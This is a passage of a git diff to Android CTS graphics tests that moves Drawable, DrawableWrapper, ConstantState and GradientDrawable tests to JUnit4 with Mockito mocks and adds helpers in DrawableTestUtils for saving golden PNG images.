+    @Test
     public void testSetColorFilter() {
         Drawable mockDrawable = new MockDrawable();
         mockDrawable.setColorFilter(5, PorterDuff.Mode.CLEAR);
     }
 
+    @Test
     public void testSetDither() {
         Drawable mockDrawable = new MockDrawable();
 
@@ -578,6 +623,7 @@
         mockDrawable.setDither(false);
     }
 
+    @Test
     public void testSetHotspotBounds() {
         Drawable mockDrawable = new MockDrawable();
 
@@ -585,6 +631,7 @@
         mockDrawable.setHotspotBounds(10, 15, 100, 150);
     }
 
+    @Test
     public void testGetHotspotBounds() {
         Drawable mockDrawable = new MockDrawable();
 
@@ -592,6 +639,7 @@
         mockDrawable.getHotspotBounds(new Rect());
     }
 
+    @Test
     public void testAccessLayoutDirection() {
         Drawable mockDrawable = new MockDrawable();
 
@@ -602,6 +650,7 @@
         assertEquals(View.LAYOUT_DIRECTION_RTL, mockDrawable.getLayoutDirection());
     }
 
+    @Test
     public void testOnLayoutDirectionChanged() {
         Drawable mockDrawable = new MockDrawable();
 
@@ -609,6 +658,7 @@
         mockDrawable.onLayoutDirectionChanged(View.LAYOUT_DIRECTION_LTR);
     }
 
+    @Test
     public void testSetFilterBitmap() {
         Drawable mockDrawable = new MockDrawable();
 
@@ -616,6 +666,7 @@
         mockDrawable.setFilterBitmap(false);
     }
 
+    @Test
     public void testIsFilterBitmap() {
         Drawable mockDrawable = new MockDrawable();
 
@@ -623,39 +674,48 @@
         mockDrawable.isFilterBitmap();
     }
 
+    @Test
     public void testUnscheduleSelf() {
         Drawable mockDrawable = new MockDrawable();
-        MockCallback mockCallback = new MockCallback();
+        Drawable.Callback mockCallback = mock(Drawable.Callback.class);
         mockDrawable.setCallback(mockCallback);
         mockDrawable.unscheduleSelf(null);
-        assertEquals(mockDrawable, mockCallback.getScheduleDrawable());
-        assertNull(mockCallback.getRunnable());
+        verify(mockCallback, times(1)).unscheduleDrawable(mockDrawable, null);
     }
 
+    @Test
     public void testMutate() {
         Drawable mockDrawable = new MockDrawable();
         assertSame(mockDrawable, mockDrawable.mutate());
     }
 
+    // Since Mockito can't mock or spy on protected methods, we have a custom extension
+    // of Drawable to track calls to protected methods. This class also has empty implementations
+    // of the base abstract methods.
     private static class MockDrawable extends Drawable {
         private ColorFilter mColorFilter;
 
+        @Override
         public void draw(Canvas canvas) {
         }
 
+        @Override
         public void setAlpha(int alpha) {
         }
 
+        @Override
         public void setColorFilter(ColorFilter cf) {
             mColorFilter = cf;
         }
 
+        @Override
         public ColorFilter getColorFilter() {
             return mColorFilter;
         }
 
+        @Override
         public int getOpacity() {
-            return 0;
+            return PixelFormat.OPAQUE;
         }
 
         protected void onBoundsChange(Rect bounds) {
@@ -670,45 +730,4 @@
             return super.onStateChange(state);
         }
     }
-
-    private static class MockCallback implements Drawable.Callback {
-        private Drawable mInvalidateDrawable;
-        private Drawable mScheduleDrawable;
-        private Runnable mRunnable;
-        private long mWhen;
-
-        public MockCallback() {
-        }
-
-        public Drawable getInvalidateDrawable() {
-            return mInvalidateDrawable;
-        }
-
-        public Drawable getScheduleDrawable() {
-            return mScheduleDrawable;
-        }
-
-        public Runnable getRunnable() {
-            return mRunnable;
-        }
-
-        public long getWhen() {
-            return mWhen;
-        }
-
-        public void invalidateDrawable(Drawable who) {
-            mInvalidateDrawable = who;
-        }
-
-        public void scheduleDrawable(Drawable who, Runnable what, long when) {
-            mScheduleDrawable = who;
-            mRunnable = what;
-            mWhen = when;
-        }
-
-        public void unscheduleDrawable(Drawable who, Runnable what) {
-            mScheduleDrawable = who;
-            mRunnable = what;
-        }
-    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java
index f0e3251..077836c 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java
@@ -16,27 +16,42 @@
 
 package android.graphics.drawable.cts;
 
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.content.res.XmlResourceParser;
+import android.graphics.Bitmap;
 import android.graphics.Canvas;
+import android.graphics.Color;
 import android.graphics.drawable.Drawable;
+import android.support.annotation.IntegerRes;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.util.Xml;
+
 import junit.framework.Assert;
 
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
-import android.content.res.Configuration;
-import android.content.res.Resources;
-import android.content.res.XmlResourceParser;
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import android.util.AttributeSet;
-import android.util.Xml;
-
+import java.io.File;
+import java.io.FileOutputStream;
 import java.io.IOException;
 
 /**
  * The useful methods for graphics.drawable test.
  */
 public class DrawableTestUtils {
+    private static final String LOGTAG = "DrawableTestUtils";
+    // A small value is actually making sure that the values are matching
+    // exactly with the golden image.
+    // We can increase the threshold if the Skia is drawing with some variance
+    // on different devices. So far, the tests show they are matching correctly.
+    static final float PIXEL_ERROR_THRESHOLD = 0.03f;
+    static final float PIXEL_ERROR_COUNT_THRESHOLD = 0.005f;
+    static final int PIXEL_ERROR_TOLERANCE = 3;
 
     public static void skipCurrentTag(XmlPullParser parser)
             throws XmlPullParserException, IOException {
@@ -194,4 +209,55 @@
         b.recycle();
         return pixel;
     }
+
+    /**
+     * Save a bitmap for debugging or golden image (re)generation purpose.
+     * The file name will be referred from the resource id, plus optionally {@code extras}, and
+     * "_golden"
+     */
+    static void saveAutoNamedVectorDrawableIntoPNG(@NonNull Context context, @NonNull Bitmap bitmap,
+            @IntegerRes int resId, @Nullable String extras)
+            throws IOException {
+        String originalFilePath = context.getResources().getString(resId);
+        File originalFile = new File(originalFilePath);
+        String fileFullName = originalFile.getName();
+        String fileTitle = fileFullName.substring(0, fileFullName.lastIndexOf("."));
+        String outputFolder = context.getExternalFilesDir(null).getAbsolutePath();
+        if (extras != null) {
+            fileTitle += "_" + extras;
+        }
+        saveVectorDrawableIntoPNG(bitmap, outputFolder, fileTitle);
+    }
+
+    /**
+     * Save a {@code bitmap} to the {@code fileFullName} plus "_golden".
+     */
+    static void saveVectorDrawableIntoPNG(@NonNull Bitmap bitmap, @NonNull String outputFolder,
+            @NonNull String fileFullName)
+            throws IOException {
+        // Save the image to the disk.
+        FileOutputStream out = null;
+        try {
+            File folder = new File(outputFolder);
+            if (!folder.exists()) {
+                folder.mkdir();
+            }
+            String outputFilename = outputFolder + "/" + fileFullName + "_golden";
+            outputFilename +=".png";
+            File outputFile = new File(outputFilename);
+            if (!outputFile.exists()) {
+                outputFile.createNewFile();
+            }
+
+            out = new FileOutputStream(outputFile, false);
+            bitmap.compress(Bitmap.CompressFormat.PNG, 100, out);
+            Log.v(LOGTAG, "Write test No." + outputFilename + " to file successfully.");
+        } catch (Exception e) {
+            e.printStackTrace();
+        } finally {
+            if (out != null) {
+                out.close();
+            }
+        }
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
index 340f945..03b2f22 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
@@ -16,23 +16,45 @@
 
 package android.graphics.drawable.cts;
 
-import android.graphics.drawable.DrawableWrapper;
-import android.graphics.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyBoolean;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.anyLong;
+import static org.mockito.Mockito.doNothing;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ColorFilter;
+import android.graphics.PixelFormat;
+import android.graphics.Rect;
+import android.graphics.cts.R;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.DrawableWrapper;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.StateSet;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.Arrays;
 
-import android.graphics.Canvas;
-import android.graphics.ColorFilter;
-import android.graphics.Rect;
-import android.graphics.drawable.BitmapDrawable;
-import android.graphics.drawable.Drawable;
-import android.graphics.drawable.Drawable.ConstantState;
-import android.test.AndroidTestCase;
-import android.util.StateSet;
-
-public class DrawableWrapperTest extends AndroidTestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DrawableWrapperTest {
     static class MyWrapper extends DrawableWrapper {
         public MyWrapper(Drawable dr) {
             super(dr);
@@ -40,6 +62,7 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testConstructor() {
         Drawable d = new BitmapDrawable();
         DrawableWrapper wrapper = new MyWrapper(d);
@@ -49,6 +72,7 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testGetDrawable() {
         Drawable d = new BitmapDrawable();
         DrawableWrapper wrapper = new MyWrapper(d);
@@ -56,6 +80,7 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testSetDrawable() {
         Drawable d = new BitmapDrawable();
         DrawableWrapper wrapper = new MyWrapper(null);
@@ -66,120 +91,81 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testInvalidateDrawable() {
         DrawableWrapper wrapper = new MyWrapper(new BitmapDrawable());
 
-        MockCallback cb = new MockCallback();
+        Drawable.Callback cb = mock(Drawable.Callback.class);
         wrapper.setCallback(cb);
         wrapper.invalidateDrawable(null);
-        assertTrue(cb.hasCalledInvalidate());
+        verify(cb, times(1)).invalidateDrawable(any());
 
-        cb.reset();
+        reset(cb);
         wrapper.invalidateDrawable(new BitmapDrawable());
-        assertTrue(cb.hasCalledInvalidate());
+        verify(cb, times(1)).invalidateDrawable(any());
 
-        cb.reset();
+        reset(cb);
         wrapper.setCallback(null);
         wrapper.invalidateDrawable(null);
-        assertFalse(cb.hasCalledInvalidate());
+        verify(cb, never()).invalidateDrawable(any());
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testScheduleDrawable() {
         DrawableWrapper wrapper = new MyWrapper(new BitmapDrawable());
 
-        MockCallback cb = new MockCallback();
+        Drawable.Callback cb = mock(Drawable.Callback.class);
         wrapper.setCallback(cb);
         wrapper.scheduleDrawable(null, null, 0);
-        assertTrue(cb.hasCalledSchedule());
+        verify(cb, times(1)).scheduleDrawable(any(), any(), anyLong());
 
-        cb.reset();
-        wrapper.scheduleDrawable(new BitmapDrawable(), new Runnable() {
-            public void run() {
-            }
-        }, 1000L);
-        assertTrue(cb.hasCalledSchedule());
+        reset(cb);
+        wrapper.scheduleDrawable(new BitmapDrawable(), () -> {}, 1000L);
+        verify(cb, times(1)).scheduleDrawable(any(), any(), anyLong());
 
-        cb.reset();
+        reset(cb);
         wrapper.setCallback(null);
         wrapper.scheduleDrawable(null, null, 0);
-        assertFalse(cb.hasCalledSchedule());
+        verify(cb, never()).scheduleDrawable(any(), any(), anyLong());
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testUnscheduleDrawable() {
         DrawableWrapper wrapper = new MyWrapper(new BitmapDrawable());
 
-        MockCallback cb = new MockCallback();
+        Drawable.Callback cb = mock(Drawable.Callback.class);
         wrapper.setCallback(cb);
         wrapper.unscheduleDrawable(null, null);
-        assertTrue(cb.hasCalledUnschedule());
+        verify(cb, times(1)).unscheduleDrawable(any(), any());
 
-        cb.reset();
-        wrapper.unscheduleDrawable(new BitmapDrawable(), new Runnable() {
-            public void run() {
-            }
-        });
-        assertTrue(cb.hasCalledUnschedule());
+        reset(cb);
+        wrapper.unscheduleDrawable(new BitmapDrawable(), () -> {});
+        verify(cb, times(1)).unscheduleDrawable(any(), any());
 
-        cb.reset();
+        reset(cb);
         wrapper.setCallback(null);
         wrapper.unscheduleDrawable(null, null);
-        assertFalse(cb.hasCalledUnschedule());
+        verify(cb, never()).unscheduleDrawable(any(), any());
     }
 
-    private static class MockCallback implements Drawable.Callback {
-        private boolean mCalledInvalidate;
-        private boolean mCalledSchedule;
-        private boolean mCalledUnschedule;
-
-        public void invalidateDrawable(Drawable who) {
-            mCalledInvalidate = true;
-        }
-
-        public void scheduleDrawable(Drawable who, Runnable what, long when) {
-            mCalledSchedule = true;
-        }
-
-        public void unscheduleDrawable(Drawable who, Runnable what) {
-            mCalledUnschedule = true;
-        }
-
-        public boolean hasCalledInvalidate() {
-            return mCalledInvalidate;
-        }
-
-        public boolean hasCalledSchedule() {
-            return mCalledSchedule;
-        }
-
-        public boolean hasCalledUnschedule() {
-            return mCalledUnschedule;
-        }
-
-        public int getResolvedLayoutDirection(Drawable who) {
-            return 0;
-        }
-
-        public void reset() {
-            mCalledInvalidate = false;
-            mCalledSchedule = false;
-            mCalledUnschedule = false;
-        }
-    }
-
+    @Test
     public void testDraw() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.BLUE));
+        doNothing().when(mockDrawable).draw(any());
         DrawableWrapper wrapper = new MyWrapper(mockDrawable);
 
         wrapper.draw(new Canvas());
-        assertTrue(mockDrawable.hasCalledDraw());
+        verify(mockDrawable, times(1)).draw(any());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
+        doNothing().when(mockDrawable).draw(any());
         wrapper.draw(null);
-        assertTrue(mockDrawable.hasCalledDraw());
+        verify(mockDrawable, times(1)).draw(any());
     }
 
+    @Test
     public void testGetChangingConfigurations() {
         final int SUPER_CONFIG = 1;
         final int CONTAINED_DRAWABLE_CONFIG = 2;
@@ -197,91 +183,98 @@
                 wrapper.getChangingConfigurations());
     }
 
+    @Test
     public void testGetPadding() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         DrawableWrapper wrapper = new MyWrapper(mockDrawable);
 
         // this method will call contained drawable's getPadding method.
         wrapper.getPadding(new Rect());
-        assertTrue(mockDrawable.hasCalledGetPadding());
-
-        // input null as param
-        try {
-            wrapper.getPadding(null);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
+        verify(mockDrawable, times(1)).getPadding(any());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGetPaddingNull() {
+        DrawableWrapper wrapper = new MyWrapper(new ColorDrawable(Color.RED));
+
+        wrapper.getPadding(null);
+    }
+
+    @Test
     public void testSetVisible() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.YELLOW));
         DrawableWrapper wrapper = new MyWrapper(mockDrawable);
         assertTrue(wrapper.isVisible());
 
         assertTrue(wrapper.setVisible(false, false));
         assertFalse(wrapper.isVisible());
-        assertTrue(mockDrawable.hasCalledSetVisible());
+        verify(mockDrawable, times(1)).setVisible(anyBoolean(), anyBoolean());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
         assertFalse(wrapper.setVisible(false, false));
         assertFalse(wrapper.isVisible());
-        assertTrue(mockDrawable.hasCalledSetVisible());
+        verify(mockDrawable, times(1)).setVisible(anyBoolean(), anyBoolean());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
         assertTrue(wrapper.setVisible(true, false));
         assertTrue(wrapper.isVisible());
-        assertTrue(mockDrawable.hasCalledSetVisible());
+        verify(mockDrawable, times(1)).setVisible(anyBoolean(), anyBoolean());
     }
 
+    @Test
     public void testSetAlpha() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.MAGENTA));
         DrawableWrapper wrapper = new MyWrapper(mockDrawable);
 
         // this method will call contained drawable's setAlpha method.
         wrapper.setAlpha(100);
-        assertTrue(mockDrawable.hasCalledSetAlpha());
+        verify(mockDrawable, times(1)).setAlpha(anyInt());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
         wrapper.setAlpha(Integer.MAX_VALUE);
-        assertTrue(mockDrawable.hasCalledSetAlpha());
+        verify(mockDrawable, times(1)).setAlpha(anyInt());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
         wrapper.setAlpha(-1);
-        assertTrue(mockDrawable.hasCalledSetAlpha());
+        verify(mockDrawable, times(1)).setAlpha(anyInt());
     }
 
+    @Test
     public void testSetColorFilter() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.GRAY));
         DrawableWrapper wrapper = new MyWrapper(mockDrawable);
 
         // this method will call contained drawable's setColorFilter method.
         wrapper.setColorFilter(new ColorFilter());
-        assertTrue(mockDrawable.hasCalledSetColorFilter());
+        verify(mockDrawable, times(1)).setColorFilter(any());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
         wrapper.setColorFilter(null);
-        assertTrue(mockDrawable.hasCalledSetColorFilter());
+        verify(mockDrawable, times(1)).setColorFilter(any());
     }
 
+    @Test
     public void testGetOpacity() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         DrawableWrapper wrapper = new MyWrapper(mockDrawable);
 
         // This method will call contained drawable's getOpacity method.
         wrapper.setLevel(1);
         wrapper.getOpacity();
-        assertTrue(mockDrawable.hasCalledGetOpacity());
+        verify(mockDrawable, times(1)).getOpacity();
     }
 
+    @Test
     public void testIsStateful() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.BLACK));
         DrawableWrapper wrapper = new MyWrapper(mockDrawable);
 
         // this method will call contained drawable's isStateful method.
         wrapper.isStateful();
-        assertTrue(mockDrawable.hasCalledIsStateful());
+        verify(mockDrawable, times(1)).isStateful();
     }
 
+    @Test
     public void testOnStateChange() {
         Drawable d = new MockDrawable();
         MockDrawableWrapper wrapper = new MockDrawableWrapper(d);
@@ -291,7 +284,7 @@
         assertFalse("child did not change", wrapper.onStateChange(state));
         assertEquals("child state did not change", d.getState(), StateSet.WILD_CARD);
 
-        d = mContext.getDrawable(R.drawable.statelistdrawable);
+        d = InstrumentationRegistry.getTargetContext().getDrawable(R.drawable.statelistdrawable);
         wrapper = new MockDrawableWrapper(d);
         assertEquals("initial child state is empty", d.getState(), StateSet.WILD_CARD);
         wrapper.onStateChange(state);
@@ -302,6 +295,7 @@
         // expected, no Exception thrown out, test success
     }
 
+    @Test
     public void testOnLevelChange() {
         MockDrawable mockDrawable = new MockDrawable();
         MockDrawableWrapper mockDrawableWrapper = new MockDrawableWrapper(mockDrawable);
@@ -315,11 +309,11 @@
         assertEquals(1000, mockDrawable.getLevel());
 
         mockDrawable.reset();
-        mockDrawableWrapper.reset();
         assertFalse(mockDrawableWrapper.onLevelChange(Integer.MIN_VALUE));
         assertTrue(mockDrawable.hasCalledOnLevelChange());
     }
 
+    @Test
     public void testOnBoundsChange() {
         MockDrawable mockDrawable = new MockDrawable();
         MockDrawableWrapper mockDrawableWrapper = new MockDrawableWrapper(mockDrawable);
@@ -340,110 +334,64 @@
         assertEquals(2, bounds.top);
         assertEquals(26, bounds.right);
         assertEquals(32, bounds.bottom);
-
-        // input null as param
-        try {
-            mockDrawableWrapper.onBoundsChange(null);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
-
     }
 
-    public void testGetIntrinsicWidth() {
+    @Test(expected=NullPointerException.class)
+    public void testOnBoundsChangeNull() {
         MockDrawable mockDrawable = new MockDrawable();
+        MockDrawableWrapper mockDrawableWrapper = new MockDrawableWrapper(mockDrawable);
+
+        mockDrawableWrapper.onBoundsChange(null);
+    }
+
+    @Test
+    public void testGetIntrinsicWidth() {
+        Drawable mockDrawable = spy(new ColorDrawable(Color.WHITE));
         MyWrapper wrapper = new MyWrapper(mockDrawable);
 
         // this method will call contained drawable's getIntrinsicWidth method.
         wrapper.getIntrinsicWidth();
-        assertTrue(mockDrawable.hasCalledGetIntrinsicWidth());
+        verify(mockDrawable, times(1)).getIntrinsicWidth();
     }
 
+    @Test
     public void testGetIntrinsicHeight() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         DrawableWrapper wrapper = new MyWrapper(mockDrawable);
 
         // this method will call contained drawable's getIntrinsicHeight method.
         wrapper.getIntrinsicHeight();
-        assertTrue(mockDrawable.hasCalledGetIntrinsicHeight());
+        verify(mockDrawable, times(1)).getIntrinsicHeight();
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testGetConstantState() {
         DrawableWrapper wrapper = new MyWrapper(new BitmapDrawable());
-        ConstantState constantState = wrapper.getConstantState();
+        wrapper.getConstantState();
     }
 
+    // Since Mockito can't mock or spy on protected methods, we have a custom extension
+    // of Drawable to track calls to protected methods. This class also has empty implementations
+    // of the base abstract methods.
     private static class MockDrawable extends Drawable {
-        private boolean mCalledDraw = false;
-        private boolean mCalledGetPadding = false;
-        private boolean mCalledSetVisible = false;
-        private boolean mCalledSetAlpha = false;
-        private boolean mCalledGetOpacity = false;
-        private boolean mCalledSetColorFilter = false;
-        private boolean mCalledIsStateful = false;
-        private boolean mCalledGetIntrinsicWidth = false;
-        private boolean mCalledGetIntrinsicHeight = false;
-        private boolean mCalledSetState = false;
         private boolean mCalledOnLevelChange = false;
 
         @Override
         public void draw(Canvas canvas) {
-            mCalledDraw = true;
         }
 
         @Override
         public int getOpacity() {
-            mCalledGetOpacity = true;
-            return 0;
+            return PixelFormat.OPAQUE;
         }
 
         @Override
         public void setAlpha(int alpha) {
-            mCalledSetAlpha = true;
         }
 
         @Override
         public void setColorFilter(ColorFilter cf) {
-            mCalledSetColorFilter = true;
-        }
-
-        @Override
-        public boolean getPadding(Rect padding) {
-            mCalledGetPadding = true;
-            return super.getPadding(padding);
-        }
-
-        @Override
-        public boolean setVisible(boolean visible, boolean restart) {
-            mCalledSetVisible = true;
-            return super.setVisible(visible, restart);
-        }
-
-        @Override
-        public boolean isStateful() {
-            mCalledIsStateful = true;
-            return super.isStateful();
-        }
-
-        @Override
-        public int getIntrinsicWidth() {
-            mCalledGetIntrinsicWidth = true;
-            return super.getIntrinsicWidth();
-        }
-
-        @Override
-        public int getIntrinsicHeight() {
-            mCalledGetIntrinsicHeight = true;
-            return super.getIntrinsicHeight();
-
-        }
-
-        @Override
-        public boolean setState(final int[] stateSet) {
-            mCalledSetState = true;
-            return super.setState(stateSet);
         }
 
         @Override
@@ -452,68 +400,16 @@
             return super.onLevelChange(level);
         }
 
-        public boolean hasCalledDraw() {
-            return mCalledDraw;
-        }
-
-        public boolean hasCalledGetPadding() {
-            return mCalledGetPadding;
-        }
-
-        public boolean hasCalledSetVisible() {
-            return mCalledSetVisible;
-        }
-
-        public boolean hasCalledSetAlpha() {
-            return mCalledSetAlpha;
-        }
-
-        public boolean hasCalledGetOpacity() {
-            return mCalledGetOpacity;
-        }
-
-        public boolean hasCalledSetColorFilter() {
-            return mCalledSetColorFilter;
-        }
-
-        public boolean hasCalledIsStateful() {
-            return mCalledIsStateful;
-        }
-
-        public boolean hasCalledGetIntrinsicWidth() {
-            return mCalledGetIntrinsicWidth;
-        }
-
-        public boolean hasCalledGetIntrinsicHeight() {
-            return mCalledGetIntrinsicHeight;
-        }
-
-        public boolean hasCalledSetState() {
-            return mCalledSetState;
-        }
-
         public boolean hasCalledOnLevelChange() {
             return mCalledOnLevelChange;
         }
 
         public void reset() {
-            mCalledDraw = false;
-            mCalledGetPadding = false;
-            mCalledSetVisible = false;
-            mCalledSetAlpha = false;
-            mCalledGetOpacity = false;
-            mCalledSetColorFilter = false;
-            mCalledIsStateful = false;
-            mCalledGetIntrinsicWidth = false;
-            mCalledGetIntrinsicHeight = false;
-            mCalledSetState = false;
             mCalledOnLevelChange = false;
         }
     }
 
     private static class MockDrawableWrapper extends DrawableWrapper {
-        private boolean mCalledOnBoundsChange = false;
-
         MockDrawableWrapper() {
             super(null);
         }
@@ -534,16 +430,7 @@
 
         @Override
         protected void onBoundsChange(Rect bounds) {
-            mCalledOnBoundsChange = true;
             super.onBoundsChange(bounds);
         }
-
-        public boolean hasCalledOnBoundsChange() {
-            return mCalledOnBoundsChange;
-        }
-
-        public void reset() {
-            mCalledOnBoundsChange = false;
-        }
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java
index 45e83dd..abcb71f 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java
@@ -16,39 +16,57 @@
 
 package android.graphics.drawable.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.content.Context;
+import android.content.res.Resources;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Drawable_ConstantStateTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Drawable_ConstantStateTest {
+    @Test
     public void testNewDrawable() {
-        MockConstantState mock = new MockConstantState();
+        Context context = InstrumentationRegistry.getTargetContext();
+        Resources resources = context.getResources();
+
+        MockConstantState mock = spy(new MockConstantState());
         ConstantState cs = mock;
 
         assertEquals(null, cs.newDrawable());
-        assertTrue(mock.hasCalledNewDrawable());
-        mock.reset();
+        verify(mock, times(1)).newDrawable();
+        reset(mock);
 
-        assertEquals(null, cs.newDrawable(mContext.getResources()));
-        assertTrue(mock.hasCalledNewDrawable());
-        mock.reset();
+        assertEquals(null, cs.newDrawable(resources));
+        verify(mock, times(1)).newDrawable();
+        reset(mock);
 
-        assertEquals(null, cs.newDrawable(mContext.getResources(), mContext.getTheme()));
-        assertTrue(mock.hasCalledNewDrawable());
+        assertEquals(null, cs.newDrawable(resources, context.getTheme()));
+        verify(mock, times(1)).newDrawable();
+        reset(mock);
     }
 
+    @Test
     public void testCanApplyTheme() {
         ConstantState cs = new MockConstantState();
         assertFalse(cs.canApplyTheme());
     }
 
     public static class MockConstantState extends ConstantState {
-        private boolean mCalledNewDrawable;
-
         @Override
         public Drawable newDrawable() {
-            mCalledNewDrawable = true;
             return null;
         }
 
@@ -56,13 +74,5 @@
         public int getChangingConfigurations() {
             return 0;
         }
-
-        public boolean hasCalledNewDrawable() {
-            return mCalledNewDrawable;
-        }
-
-        public void reset() {
-            mCalledNewDrawable = false;
-        }
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
index 713f61a..b798fb8 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
@@ -16,8 +16,12 @@
 
 package android.graphics.drawable.cts;
 
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.res.ColorStateList;
 import android.content.res.Resources;
@@ -32,19 +36,33 @@
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.GradientDrawable;
 import android.graphics.drawable.GradientDrawable.Orientation;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 import java.util.Arrays;
 
-import static org.junit.Assert.assertArrayEquals;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GradientDrawableTest {
+    private Resources mResources;
 
-public class GradientDrawableTest extends AndroidTestCase {
-    @SmallTest
+    @Before
+    public void setup() {
+        mResources = InstrumentationRegistry.getTargetContext().getResources();
+    }
+
+    @Test
     public void testConstructor() {
         int[] color = new int[] {1, 2, 3};
 
@@ -53,7 +71,7 @@
         new GradientDrawable(null, null);
     }
 
-    @SmallTest
+    @Test
     public void testGetOpacity() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         assertEquals("Default opacity is TRANSLUCENT",
@@ -86,7 +104,7 @@
 
     }
 
-    @SmallTest
+    @Test
     public void testSetOrientation() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         Orientation orientation;
@@ -97,7 +115,7 @@
                 orientation, gradientDrawable.getOrientation());
     }
 
-    @SmallTest
+    @Test
     public void testSetCornerRadii() {
